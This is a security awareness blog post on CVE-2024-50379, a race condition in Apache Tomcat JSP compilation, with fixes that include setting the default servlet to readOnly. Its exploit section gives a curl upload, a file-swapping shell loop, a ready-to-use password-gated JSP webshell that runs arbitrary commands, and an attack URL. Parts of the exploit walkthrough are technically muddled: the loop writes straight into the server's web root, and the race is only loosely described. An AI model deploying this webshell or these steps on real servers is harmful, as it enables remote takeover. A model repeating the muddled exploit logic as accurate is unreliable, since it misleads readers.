A major security threat (CVE-2024-50379) has been discovered in Apache Tomcat, one of the world's most widely used Java web server platforms. This vulnerability can be exploited for Remote Code Execution (RCE) due to a Time-of-Check to Time-of-Use (TOCTOU) race condition during Java Server Pages (JSP) compilation—specifically on case-insensitive filesystems and when Tomcat’s default servlet is writable (an uncommon but risky configuration).
This post takes a close look at how the bug works, who’s at risk, and how attackers could exploit it. We’ll walk through code snippets, reference the official advisories, and offer simple fixes to stay safe.
Background: What’s a TOCTOU Race Condition?
A TOCTOU (Time-of-check to time-of-use) bug is a type of race condition in which a system checks a resource (like a file) and then uses it, but in the time between those steps, the resource could be changed by someone else. This is especially dangerous on case-insensitive filesystems such as Windows or macOS with default settings.
Vulnerability Overview
JSP files are compiled to Java classes by Tomcat and executed as servlets. Normally, Tomcat protects against attackers uploading malicious JSPs, but the default servlet, when write-access is granted, opens the door.
Tomcat is running on a case-insensitive filesystem (e.g., Windows, MacOS HFS+)
- The root webapp directory (usually webapps/ROOT/) is writable by the web server (not default, but sometimes set for convenience)
What Happens?
1. Attacker uploads a special file with a misleading name (e.g., evil.jsp) using a trick in casing or extension.
2. Due to case-insensitivity, Tomcat "checks" one file but then "uses" another by the time of compilation.
3. An attacker can race the system, swapping files or exploiting the casing trick, to get their arbitrary code executed on the server.
Code Example: Demonstrating the Problem
Suppose Tomcat is running on Windows, with an attacker able to upload files to webapps/ROOT/. Here’s how an attack could go down:
Step 1: Upload a harmless file
curl -F "file=@dummy.jsp" http://victim-site/upload
### Step 2: During the small window of JSP compilation, swap the file with a malicious one using a different case in the filename:
# In a tight loop, rapidly swap dummy.jsp <-> DUMMY.jsp
while true; do
cp malicious.jsp webapps/ROOT/DUMMY.jsp
cp harmless.jsp webapps/ROOT/dummy.jsp
done
#### The default servlet’s processing can be tricked by changing the file’s content (or case) between the "check" and the "use," leading to race condition exploitation.
Here’s a minimal webshell (shell.jsp)
<%
if("secret".equals(request.getParameter("pw"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
while((a=in.read())!=-1) out.print((char)a);
in.close();
}
%>
How could an attacker weaponize this?
With write-access, they'd race-upload the above JSP, then execute
http://victim-site/shell.jsp?pw=secret&cmd=whoami
Official Advisories & References
- NVD: CVE-2024-50379
- Apache Tomcat Security Advisory
- Tomcat Mailing List Support Thread
- CVE Details Page
Use Case-sensitive File Systems
- Prefer Linux servers, or ensure advanced filesystem configs on Mac/Windows
In web.xml, disable upload to webapps/
<servlet>
<servlet-name>default</servlet-name>
<init-param>
<param-name>readOnly</param-name>
<param-value>true</param-value>
</init-param>
</servlet>
Conclusion
CVE-2024-50379 is a prime example of how seemingly minor deployment misconfigurations (like writable web roots and case-insensitive filesystems) can open the door to catastrophic RCE bugs. If you run Tomcat, now is an urgent time to patch, check your configuration, and review filesystem choices. Even if this isn’t your default setup, it pays to double-check—especially for legacy or test systems.
Stay up-to-date and secure your Tomcat servers!
If you have further questions, refer to the official Apache Tomcat security pages or reach out on their users mailing list.
*Written exclusively for your security awareness. Share with your team, update your infra, and shut down this bug before the bad guys find it first!*
Timeline
Published on: 12/17/2024 13:15:18 UTC
Last modified on: 12/17/2024 18:15:24 UTC